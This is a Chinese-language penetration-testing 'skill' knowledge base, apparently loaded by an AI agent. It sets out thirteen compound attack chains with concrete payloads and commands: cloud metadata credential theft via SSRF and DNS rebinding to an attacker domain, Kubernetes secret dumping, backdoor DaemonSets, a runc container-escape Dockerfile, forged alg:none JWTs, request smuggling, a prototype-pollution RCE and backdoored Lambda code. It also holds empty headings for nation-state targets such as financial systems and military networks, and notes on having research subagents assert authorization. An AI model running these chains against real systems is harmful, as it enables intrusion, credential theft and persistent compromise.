超頻作戰模式 — 近 10 年滲透技術深度研究知識庫

知識來源

第一部分：10 條獨創複合攻擊鏈

每條攻擊鏈由多個微弱缺陷串聯組成，形成致命的複合攻擊路徑。單獨看每個缺陷風險低，串聯後達到 root-level 存取。

攻擊鏈 1：CDN Edge Cache Poisoning → SSRF → Cloud Metadata → K8s Cluster Takeover

步驟 1: 快取投毒（低風險缺陷）
  → CDN 未 key X-Forwarded-Host header
  → 注入: X-Forwarded-Host: 169.254.169.254
  → 邊緣節點快取被汙染的 response
  → WCD 變種：GET /api/config.css HTTP/1.1（靜態擴展欺騙 CDN 快取動態內容）

步驟 2: SSRF Chain（中風險缺陷）
  → 被汙染頁面包含 JS: fetch("https://169.254.169.254/latest/meta-data/iam/security-credentials/")
  → 或應用有 URL fetch 功能（image proxy, PDF renderer）
  → 構造: /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
  → IMDSv1 無 SSRF 防護 → 取得 AWS 臨時憑證
  → IMDSv2 bypass: 利用 hop-limit=2 配合已知 SSRF 端點

步驟 3: K8s 接管
  → aws eks list-clusters → describe-cluster → endpoint + CA
  → 如果 IRSA 配置存在，偷取 Service Account Token
  → kubectl --token=JWT get secrets --all-namespaces
  → backdoor DaemonSet → 每個 node 上都有 pod

串聯缺陷：CDN unkeyed header(低) + URL fetch 無白名單(中) + IMDSv1(中) + SA 過度授權(低)

攻擊鏈 2：HTTP/2 CONTINUATION Flood → Request Smuggling → JWT alg:none → Admin Takeover

步驟 1: HTTP/2 CONTINUATION 打穿
  → 前端 HTTP/2，後端 downgrade HTTP/1.1
  → 發送大量 CONTINUATION frames (CVE-2024-XXXX)
  → 前端在 flood 處理時丟棄安全檢查
  → 在 flood 掩護下注入 H2.CL smuggling 請求

步驟 2: H2.CL Smuggling
  → HTTP/2 請求帶 Content-Length: 0
  → 實際 body 包含完整 HTTP/1.1 請求
  → 後端解析器看到 CL:0 → 剩餘 bytes 當作下一個請求
  → 注入: POST /api/auth HTTP/1.1\r\nAuthorization: Bearer <forged_jwt>\r\n\r\n

步驟 3: JWT alg:none 注入
  → 偽造 JWT: {"alg":"none"}.{"user":"admin","role":"superadmin"}.
  → 透過 smuggled request 發送 → 不經 WAF → 命中認證 API
  → CVE-2015-9235 變體：大小寫 bypass "None","NONE","nOnE"

串聯缺陷：HTTP/2 CONTINUATION 處理不一致(低) + H2.CL downgrade smuggling(中) + JWT 接受 alg:none(低)

攻擊鏈 3：Prototype Pollution → K8s API Server RBAC Bypass → Shadow API Server

步驟 1: Prototype Pollution → SSRF
  → Node.js Express 有 lodash.merge (CVE-2021-23337)
  → JSON: {"__proto__":{"status":301,"headers":{"Location":"http://kubernetes.default.svc:443/api/v1/namespaces/default/secrets"}}}
  → 汙染 redirect → SSRF 到 K8s API

步驟 2: K8s API 存取
  → Pod 內 ServiceAccount token: /var/run/secrets/kubernetes.io/serviceaccount/token
  → curl -k -H "Authorization: Bearer $(cat token)" https://kubernetes.default.svc/api/v1/namespaces/default/secrets
  → RBAC 配置不當（default SA 有 list/get secrets 權限）

步驟 3: Shadow API Server 持久化
  → 部署假冒 API server (admission webhook)
  → kubectl create -f shadow-apiserver.yaml
  → 攔截所有未來 API 呼叫 → 即使修復 RBAC 仍持久化
  → CDK 工具：cdk run k8s-shadow-apiserver

串聯缺陷：lodash prototype pollution(低) + K8s default SA 過度授權(中) + 缺乏 Pod Security Admission(低)

攻擊鏈 4：DNS Rebinding → Cloud IMDS → Cloud Account Takeover

步驟 1: DNS Rebinding
  → 註冊 rebinder.attacker.com, DNS TTL=0
  → 第一次查詢 → 攻擊者 IP（服務惡意 JS）
  → 第二次查詢 → 169.254.169.254
  → 瀏覽器認為 same-origin → 不受 CORS 限制

步驟 2: IMDS 憑證竊取
  → JS: fetch("http://rebinder.attacker.com/latest/meta-data/iam/security-credentials/")
  → 第二次 DNS 解析到 169.254.169.254 → IMDS 回應
  → 取得 AccessKey/SecretKey/Token → 回傳攻擊者

步驟 3: 雲帳號接管
  → aws sts get-caller-identity → 確認身分
  → aws iam list-attached-role-policies → 查看權限
  → aws sts assume-role --role-arn arn:aws:iam::ADMIN_ROLE → 提升管理員
  → Cross-account: trust policy 過於寬鬆 → 突破到其他帳號

串聯缺陷：DNS rebinding(低) + IMDSv1 無 SSRF 防護(中) + IAM role 過度授權(低)

攻擊鏈 5：OAuth redirect_uri 繞過 → SSO Token 盜取 → XSS → Multitenancy Escape

步驟 1: OAuth redirect_uri 繞過
  → startsWith() 驗證而非精確匹配
  → redirect_uri=https://app.target.com.evil.com/callback
  → 或子域接管：redirect_uri=https://abandoned-subdomain.target.com/callback
  → @ trick：redirect_uri=https://trusted.com@evil.com (CVE-2017-16089)
  → 受害者點擊 phishing 連結 → 授權 → code 被截走

步驟 2: SSO Token 盜取
  → 交換 access_token + id_token (OIDC)
  → Implicit flow 直接泄露 token
  → 或 Refresh Token Rotation Race Condition 並發攻擊

步驟 3: XSS 持久化 + 跨租戶
  → 用 token 存取 API → profile bio/username 注入 XSS
  → 多租戶共用 origin → XSS 跨租戶傳播
  → 偷取其他租戶管理員 session → IDOR 切換 tenant_id
  → Session Puzzling：$_SESSION['tenant_id'] 被惡意切換

串聯缺陷：redirect_uri 驗證不嚴(低) + 多租戶共用 origin(設計缺陷) + UGC 未過濾 XSS(中) + IDOR 無 tenant 隔離(低)

攻擊鏈 6：runc CVE-2024-21626 → Host Filesystem → Cloud Credential → Cross-Account

步驟 1: CVE-2024-21626 runc 逃逸
  → runc < 1.1.12, WORKDIR + file descriptor leak
  → 惡意 image Dockerfile:
    FROM alpine
    WORKDIR /proc/self/fd/../../../proc/1/root/
  → 容器啟動時 runc fd 洩漏 → WORKDIR 指向宿主機 PID 1 root

步驟 2: Host Filesystem 存取
  → cat /proc/self/fd/../../../proc/1/root/etc/kubernetes/pki/ca.crt
  → cat /proc/self/fd/../../../proc/1/root/var/lib/kubelet/pki/kubelet-current.pem
  → 或 /proc/self/fd/../../../proc/1/root/home/ec2-user/.aws/credentials
  → /proc/self/fd/../../../proc/1/root/var/lib/cloud/instances/

步驟 3: Cloud Credential 橫向
  → kubelet credentials 存取 K8s API
  → 或 AWS credentials 直接操作雲資源
  → aws sts assume-role → cross-account trust policy → 突破其他雲帳號
  → 或存取 EKS control plane → 建立後門 DaemonSet

串聯缺陷：runc 未修補(中) + 宿主機雲憑證未加密(低) + kubelet cert 非短期 token(低) + cross-account trust 寬鬆(低)

攻擊鏈 7：SAML XSW → Cloud SSO Admin → Golden SAML → 跨應用橫向

步驟 1: SAML XSW 偵察
  → 目標使用 Okta/Azure AD/PingFederate 企業 SSO
  → 取得合法 SAML response（低權限帳號登入）

步驟 2: XML Signature Wrapping (XSW1-XSW8)
  → Response-level wrapping:
    外層包偽造 admin assertion + 內層保留已簽名 assertion
  → Comment injection (CVE-2017-11427):
    <saml:NameID>admin@target.com<!-- --></saml:NameID>
  → SAML Response Caching/Replay:
    AWS ALB/Cloudflare 錯誤快取 POST 響應 → 重放

步驟 3: Golden SAML 持久化
  → 取得 IdP signing private key（透過 Log4Shell 或其他漏洞）
  → 或利用 DCSync 取得 AD FS signing key
  → 永久偽造任意 SAML assertion → 對所有依賴該 IdP 的應用有存取權

串聯缺陷：SAML parser XSW 不一致(低) + SAML response 缺乏 replay protection(低) + IdP signing key 可達(中)

攻擊鏈 8：GraphQL Introspection → Mutation Auth Bypass → SA Token Theft → Lambda Code Injection

步驟 1: GraphQL Introspection
  → 生產環境開啟 introspection
  → query: { __schema { types { name fields { name type { name } } } } }
  → 發現隱藏 mutation：adminUpdateUserConfig / systemExecute / debugQuery

步驟 2: Mutation Auth Bypass
  → auth check 只在 REST 層，GraphQL resolver 未檢查
  → adminUpdateUserConfig(input: {userId: "admin", permissions: ["superadmin"]})
  → 或 alias-based batch: mutation { a: updateUser(id:"1", role:"admin") b: updateUser(id:"2"...) }
  → 取得 admin session

步驟 3: SA Token Theft → Lambda Code Injection
  → admin 權限存取 /api/internal/config 或 /api/debug/env
  → 環境變量含 AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
  → aws lambda list-functions → 下載 deployment package
  → 注入後門 + 保留原始邏輯
  → aws lambda update-function-code --zip-file fileb://backdoor.zip
  → Lambda 觸發 → 後門執行 → Lambda role 權限 → 進一步橫向

串聯缺陷：GraphQL introspection 在生產開啟(低) + resolver 無 auth check(中) + 環境變數存雲憑證(低) + Lambda update 權限過大(中)

攻擊鏈 9：WebSocket Smuggling → OpenTelemetry Collector RCE → Service Mesh Lateral → Multi-Cluster

步驟 1: WebSocket Smuggling
  → 前端 WAF 不解析 WebSocket upgrade 請求 body
  → Upgrade: websocket + smuggled HTTP request in body
  → 注入目標：內部 OpenTelemetry collector (4317/4318)

步驟 2: OTEL Collector RCE
  → OTEL collector custom processor 未沙箱化
  → 構造惡意 OTLP gRPC trace:
    resource_spans { scope_spans { spans { name: "{{constructor.constructor('return process')().mainModule.require('child_process').exec('id')}}" } } }
  → 取得 RCE

步驟 3: Service Mesh 橫向
  → 偷取 sidecar cert: /etc/istio/proxy/cert-chain.pem
  → Service Mesh 中所有 pod 互相信任 (mTLS)
  → 使用 sidecar cert 直接存取其他 pod service
  → 繞過 namespaces network policy（mesh 在網路層之上）

步驟 4: Multi-Cluster
  → Multi-cluster mesh trust → 使用一個 cluster cert 存取另一個
  → 橫向到 admin namespace → 控制 control plane → 全域接管

串聯缺陷：WAF 不解析 WebSocket body(低) + OTEL processor 未沙箱(中) + sidecar cert 長效可讀(低) + multi-cluster trust 寬鬆(低)

攻擊鏈 10：FIDO2 Clone → Passkey AitM → Zero Trust Token Forge → Hybrid Bypass

步驟 1: FIDO2 Security Key Clone
  → 2024 Nitrokey 研究：EM side-channel 還原 ECDSA P-256 私鑰
  → 設備成本 $200-500 (SDR + 探頭)
  → 功耗分析針對 STM32/NXP/Infineon MCU
  → YubiKey 5 (Infineon SLE78) firmware 邏輯缺陷
  → 克隆 key 可通過 WebAuthn challenge

步驟 2: Passkey AitM Phishing
  → 部署 Evilginx2/Modlishka/Muraena/Nox 反向代理
  → 充當用戶與零信任 IdP 之間的中間人
  → 用戶的 passkey/FIDO2 challenge 被代理轉發
  → Proxy 層擷取零信任 access token（短期 5-15 min）

步驟 3: Zero Trust Token Forge
  → 擷取 token 後快速使用
  → 偽造 device posture: User-Agent + JA3/JA4 TLS 指紋
  → 匹配 victim 網路行為模式 → 誤過行為分析窗口

步驟 4: 信任建立 + 橫向
  → 在窗口期內做最大範圍偵察
  → 修改 device posture → 提升信任等級 → 觸發 policy 重算
  → 或利用 Zero Trust gateway 自身漏洞：
    Cloudflare Access: 偽造 Cf-Access-Authenticated-User-Email header（源站未驗 JWT 簽名）
    Google IAP: 偽造 X-Goog-IAP-JWT-Assertion（後端未綁定只接受 IAP 流量）
  → Gateway bypass → 直接存取內部服務

串聯缺陷：FIDO2 key side-channel(中) + AitM 對 passkey 有效(設計缺陷) + device posture 可偽造(低) + 行為分析窗口(低) + policy engine 邏輯漏洞(中) + Gateway header 信任無驗證(中)

第二部分：雲原生多層逃逸完整參考

K8s 容器逃逸 CVE 矩陣

逃逸技術分類（CDK 工具支援）

雲 Metadata 端點

K8s 攻擊路徑

Pod 內部
  ├─ /var/run/secrets/kubernetes.io/serviceaccount/token → SA JWT
  ├─ kubectl --token=JWT get secrets --all-namespaces
  ├─ 環境變數 → DB 密碼 / API Key / AWS credentials
  ├─ /etc/kubernetes/pki/ → CA cert (如果 hostPath 掛載)
  └─ kubelet API (10250) → /pods → /exec → 逃逸到其他 pod
  
K8s API Server
  ├─ SA Token → list/get secrets → 偷取高權限 SA token
  ├─ RBAC bypass: k8s-get-sa-token (CDK)
  ├─ etcd 未認證存取: cdk ectl (無認證枚舉 etcd keys)
  ├─ Shadow API Server: cdk run k8s-shadow-apiserver
  └─ Backdoor DaemonSet: cdk run k8s-backdoor-daemonset

Service Mesh
  ├─ Istio sidecar cert: /etc/istio/proxy/cert-chain.pem
  ├─ mTLS 信任 → 跨 pod 存取
  ├─ Istio CVE-2020-8554: MITM ClusterIP
  └─ Multi-cluster trust → 跨 cluster

Serverless/Lambda 逃逸

AWS Lambda
  ├─ 環境變數: AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
  ├─ Lambda role 比 Pod 更寬泛 → 橫向到更多雲資源
  ├─ Lambda Layers 依賴混淆 → 注入惡意 layer
  ├─ Cold start secrets: 環境變數在 cold start 時可能洩露
  ├─ Lambda@Edge: 邊緣節點環境變數洩露
  └─ Code injection: update-function-code 注入後門

逃逸路徑:
  SSRF → 應用 RCE → 環境變數竊取 → AWS API → 橫向
  或: Lambda code injection → Lambda container → IAM role → 更多資源

第三部分：底層協定畸形利用完整參考

HTTP Request Smuggling 變體

Smuggling 進階變體

# Header Name 注入 (CRLF)
Transfer-Encoding: x\r\nTransfer-Encoding: chunked

# H2.CL Payload
POST / HTTP/2
Content-Length: 0

POST /admin HTTP/1.1
Host: target.com
Authorization: Bearer <forged_jwt>
Content-Length: 100

body=smuggled_request

# HTTP/2 CONTINUATION Flood 配合 Smuggling
→ 大量 CONTINUATION frames → WAF 緩衝區溢出 → 在 flood 掩護下注入 smuggled 請求

# WebSocket Smuggling
→ Upgrade: websocket + body 含 HTTP 請求
→ WAF 不解析 WebSocket body → smuggle 到內部服務

DNS 攻擊技術

TLS 攻擊技術

IPv6 攻擊

QUIC/WebTransport 攻擊面

QUIC (HTTP/3):
  ├─ 0-RTT 重放攻擊 → 重放早期資料
  ├─ Connection Migration 濫用 → 繞過 ACL
  ├─ QUIC 流量指紋 → 識別特定協議
  └─ Connection ID 偽造 → 繞過追蹤

WebTransport:
  ├─ over HTTP/3 → 量子級新攻擊面
  ├─ WebSocket over QUIC → 混合協定混淆
  └─ Server Push 濫用 → 客戶端資源耗盡

第四部分：補充攻擊鏈（基於身分研究成果）

攻擊鏈 11：JWT JKU/X5U SSRF → AWS IMDS → 雲帳號接管

步驟 1: JWT JKU SSRF
  → JWT Header 包含 jku (JWK Set URL) 或 x5u (X.509 Cert URL)
  → 構造: {"alg":"RS256", "jku":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
  → 服務端驗證時發起 HTTP 請求獲取密鑰 → SSRF
  → 或 jku 指向攻擊者服務器 → 返回偽造 JWKS → token 被接受

步驟 2: AWS IMDS → 憑證竊取
  → 法 1: jku SSRF 直接命中 IMDS → response 包含 AWS 憑證
  → 法 2: 偽造 JWKS 使 JWT 被接受 → 用 JWT 存取 API → 提升權限 → 再 SSRF 到 IMDS

步驟 3: 雲帳號接管
  → AWS 臨時憑證 → sts assume-role → cross-account

攻擊鏈 12：OIDC Discovery Tampering → PKI 供應鏈攻擊 → 跨應用劫持

步驟 1: Discovery Document 竄改
  → DNS 劫持 / CDN 投毒 / IdP 入侵
  → 修改 .well-known/openid-configuration
  → jwks_uri → 指向攻擊者 JWKS server
  → authorization_endpoint → phish
  → RP 定期獲取 Discovery → 自動信任新配置

步驟 2: PKI 供應鏈
  → 攻擊者 JWKS server 返回偽造公鑰
  → RP 使用偽造公鑰驗證 → 接受攻擊者簽名的任何 token
  → 對所有依賴該 IdP 的 RP → 跨應用劫持

步驟 3: 持久化
  → Discovery 文檔無簽名保護 (OIDC 標準未強制)
  → 持續偽造 token → 長期存取所有 RP

攻擊鏈 13：Back-Channel Logout CSRF → 會話劫持

步驟 1: 構造偽造 Logout Token
  → OIDC Back-Channel Logout: OP 向 RP backchannel_logout_uri 發 POST
  → 攻擊者構造偽造 Logout Token (JWT 格式)
  → 如果 RP 未驗證簽名/iss/aud/nonce → 接受偽造 token
  → 受害者會話被登出

步驟 2: 會話重用
  → 受害者被強制登出 → 重新登入
  → 攻擊者利用之前竊取的 refresh token → 在受害者登出前搶先刷新
  → Race Condition: 攻擊者刷新 vs 受害者登出 → 非原子操作 → 雙方都拿到有效 token

第五部分：國家級假想敵入侵策略（5 維度 × 3 目標）

目標 A：國家級金融體系

目標 B：軍用等級內部網路

目標 C：頂尖雲端服務商隔離環境

第六部分：WAF 繞過速查（2025 最新）

Cloudflare WAF

AWS WAF

維護規則

• 每次發現新 CVE / 新攻擊技術 → 更新對應章節
• 新複合攻擊鏈 → 添加到第一部分並編號
• 真實案例驗證 → 補充到對應攻擊鏈的真實案例段
• 研究文件位置保持引用 -> 外部 .md 文件不重複內容，只在此 skill 中引用

Pitfalls（實戰研究陷阱）

1. Tavily 432 死亡 — web_search / web_extract 全部失效

Tavily API 返回 HTTP 432 時，web_search 和 web_extract 全部失敗（額度耗盡）。 Fix: 用 execute_code 內 urllib.request 直接抓取 raw.githubusercontent.com（CDK README、PayloadsAllTheThings）和 PortSwigger Academy 頁面。設定 User-Agent header 避免被擋。GitHub Search API 可用但速率限制嚴格（unauthenticated ~10 req/min）。 本 skill 所有外部研究均不依賴 Tavily — 這是設計要求，因為 Tavily 額度不可控。

2. Subagent 超時（600s 限制）

深度研究 subagent 可能在 600s 內無法完成（特別是需要大量 web 抓取的任務）。 Fix: 超時不代表完全失敗 — subagent 通常已完成 11-17 次 API 調用。先檢查是否產出部分文件（os.path.exists）。如果沒有，主代理應自行用本機已有資料 + Python urllib 直接抓取補完缺失的研究領域。本 skill 的「雲原生逃逸」和「底層協定畸形」兩條線程超時後由主代理用 CDK README + 已有 knowledge base 自行補完。

3. GitHub Search API 速率限制

Unauthenticated GitHub Search API 每分鐘約 10 次，大量並行查詢觸發 403。 Fix: 每次查詢間 time.sleep(2-5)，或帶 Authorization: token GITHUB_TOKEN header（5000/hr）。優先使用 raw.githubusercontent.com 直接抓取已知 repo 路徑而非搜索。

4. 研究子代理上下文遺失

delegate_task 子代理沒有主對話的上下文。研究任務的 prompt 必須完全自包含：

• 明確授權聲明（授權安全研究、滲透測試知識庫建設）
• 輸出語言（中文）
• 具體技術範圍清單（CVE 編號、技術名稱）
• 期望輸出格式（完整 payload、觸發條件、繞過方式、CVE 編號）
• 輸出文件路徑

5. 與 professional-pentest-mastery 的關係（避免重疊）

本 skill 聚焦獨創複合攻擊鏈和前沿技術研究，是 professional-pentest-guide 的進階補充：

• professional-pentest-guide = 職業級方法論 + 工具速查 + 已知 payload 庫（橫向覆蓋）
• advanced attack chain-pentest = 13條獨創複合攻擊鏈 + 假想敵策略 + 深度研究產出（縱向深挖） 兩者可同時載入：professional-pentest-guide 做基礎 method 索引，本 skill 做進階攻擊鏈組合。 警告：不要在兩個 skill 之間複製相同的 payload 表 — 本 skill 只引用，不重複 professional-pentest-guide 已有的基礎 payload。

6. PortSwigger 頁面抓取技巧

PortSwigger Academy/Research 頁面是優質研究來源但 URL 結構不穩定：

• Academy: https://portswigger.net/web-security/<topic>（穩定）
• Research: https://portswigger.net/research/<article-slug>（slug 可能變動）
• 如果 web_extract 可用直接用；如果 Tavily 432，用 urllib.request + User-Agent: Mozilla/5.0 (Macintosh...) header 抓取
• HTML 需要用正則清理 <script>/<style> tags 後提取文本